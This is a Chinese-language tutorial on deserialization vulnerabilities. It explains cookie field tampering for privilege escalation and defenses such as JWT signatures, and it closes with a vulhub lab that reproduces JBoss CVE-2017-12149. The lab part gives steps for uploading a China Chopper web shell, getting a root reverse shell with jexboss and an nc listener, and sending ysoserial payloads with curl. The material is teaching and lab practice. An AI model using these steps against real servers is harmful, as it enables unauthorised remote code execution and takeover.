什么是反序列化？
有些时候我们需要把应用程序中的数据以另一种形式进行表达，以便于将数据存储起来，并在未来某个时间点再次使用，或者便于通过网络传输给接收方。这一过程我们把它叫做序列化。典型的例子是，用户数据被序列化后存储到数据库中，另一个例子是在Stateless架构下，用户登陆后的身份数据被序列化存储到了浏览器中。
反序列化和序列化是两个正好相反的过程。当我们要再次使用这些数据的时候，应用程序读取序列化之后的数据，并将其恢复成应用程序中的数据。例如服务器端从Redis中读出一个键值对，其内容是JSON格式的字符串，代表了某个用户的个人资料，并将其恢复成应用程序可使用的数据。
反序列化有什么安全问题？
尽管反序列化最严重可导致远程代码执行（RCE，Remote Code Execution），但最常见的反序列化安全问题却是通过修改序列化之后的数据字段，从而进行提权或越权操作。
举例来说，服务器端为了能快速横向扩展而被设计成了后端无服务状态架构，这也就意味着用户登陆后，其身份信息（例如用户ID，姓名，角色，登陆时间戳等）被保存到了浏览器cookie当中，在后续的请求里将会被自动发往服务器。
图：用户登陆后，服务器将用户身份信息存储在浏览器cookie中
存储于cookie中的这份数据的格式是应用程序自定义的，但攻击者通过探索尝试后发现，修改其中的某个字段就能将用户从普通用户修改为管理员。
存储于cookie中的原始数据：
Cookie: 3844998|AliceM|y|27|
NU
|active|null|201809
经过修改后的数据
Cookie: 3844998|AliceM|y|27|
ADMIN
|active|null|201809
由于缺乏对数据完整性的校验，服务器端在收到被修改过的这段数据后，就把当前用户当作ADMIN用户来处理了。
这些地方有反序列化安全问题
上面举的例子是浏览器存储cookie中的数据可能遭受反序列化的攻击，但还有其他很多地方也可能发生这样的攻击。例如HTTP请求body中的表达了某个或某些数据的JSON字符串，甚至Form表单中的数据某种程度上也是数据经过反序列化后的表达形式。
抽象来看，只要是从Application之外读取或接收数据，并将其反序列化成Application或API中的对象，都可能存在反序列化安全问题。
因此，下面这些地方同样可能存在反序列化安全隐患，但很可能不常被关注到：
自定义的HTTP Header
存储在Redis、MongoDB、MySQL等数据库里的数据，可能被不怀好意的员工修改
存储在服务器本地，或者某个远程文件服务器里的文件，可能被攻击者替换
缓存服务器中的数据可能被攻击者污染
怎么防御反序列化攻击？
治病需要除根，能从根本上阻止反序列化安全问题的防御方案就是完整性校验，而最常见的例子之一就是JWT。
我们知道JWT由3部分组成：Header，Payload，Verify Signature。最后的签名部分其实就是对数据进行完整性校验的关键部分。
图：JWT基本结构
服务器端在接受到JWT之后，首先用secret对数据部分进行哈希计算，随后检查计算出来的哈希值是否和请求中的JWT签名部分的哈希值相同。若两者一致则认为数据完整性没有被破坏，若两者有差异则说明数据被修改过。
如果攻击者想要凭空伪造一个JWT，或者想修改JWT中的数据，但由于计算哈希值的secret只有服务器端才知道，因此攻击者无法伪造出合法的签名字段，进而这样有问题的JTW很容易就能被服务器端识别出来。
值得注意的是，完整性校验还需要把数据结构也包含进来，这是因为攻击者可能会修改序列化后的数据的结构，而不仅仅只是数据。
其他防御措施
除此之外其他有助于防御反序列化安全问题的措施，但并不能完美的做到事前预防，例如：
反序列化之前，先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来，进而容易被绕过，因此防御不能仅依赖这一个手段，但可以作为完整性校验防御方案的补充。
对反序列化过程进行详尽的日志记录，用以安全审计或调查。
监控反序列化过程，在发现疑似反序列化攻击时进行警报。
误区
HTTPS自带了完整性校验，一旦有人修改或替换了请求内容，就会被识别出来，所以作为开发团队，是不是就可以不用关心反序列化防御了？
HTTPS确实为数据传输提供了强有力的安全保护，但它只能对传输中的数据进行保护，能避免出现中间人攻击（Man-In-The-Middle），然而反序列化攻击却往往是在数据传输之前进行的，因此HTTPS并不能提供足够的防护。
这就犹如HTTPS只是一个尽心尽力的快递公司，它能安全的把货物从甲地运送到乙地，它可以保证递送过程中货物不被人调包，但如果攻击者交给快递公司的货物就是有问题的，那快递公司对此也无能为力，只要不是违禁品，它只能老老实实的把有问题的货物递交给收货方。
实战（vulhub）
JBoss5.x6.x 反序列化漏洞（CVE-2017-12149）
JBossJMXInvokerServlet 反序列化漏洞
1.启动docker 镜像
docker基于Centos7已搭建完成。
拉取项目git clone https://github.com/vulhub/vulhub.git
进入镜像：
cd vulhub/jboss/CVE-2017-12149/
启动环境：
docker-compose up -d
访问 http://192.168.
.
:8080/打开Jboss页面：
3.使用工具复现漏洞
（1）图形工具党：使用6哥的Java反序列化利用工具。
A.工具一键测试：
B.找到自动部署目录：先在文件管理中，找到可以自动部署的目录，shell上传的目录是：
/jboss-6.1.0.Final/server/default/deploy/ROOT.war/caidao.jsp
C.上传菜刀马：
D.菜刀连接成功：
（2）py脚本党：使用jexboss工具反弹shell
A. Jexboss工具下载： https://github.com/joaomatosf/jexboss
Windows下使用需先安装Py2.7、pip，再安装git Windows版。Linux使用更简单，安装Python，直接Git clone。以下是 Linux 下使用：
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -rrequires.txt
至此已经安装好了。
B.利用漏洞反弹shell，本次实验将Linux虚机反弹shell到Windows主机的nc监听端口：
先用nc在本机起个监听端口：
nc -l 4444
C.执行攻击命令，检测到存在漏洞：
python jexboss.py -host http://192.168.xx.x:8080
D.后面是交互式选择，是否有admin-console权限，选择默认NO；
Exploitation JMXInvokerServlet选择yes：
E.选择反弹shell的主机IP和接收端口
F.在主机监听的nc接收反弹shell成功：root权限
（3）专业的Java反序列化工具ysoserial：攻击需要构造带有需要执行Payload的ser文件，然后使用curl将二进制文件提交至目标 服务器 的invoker/readonly页面中。详见 https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149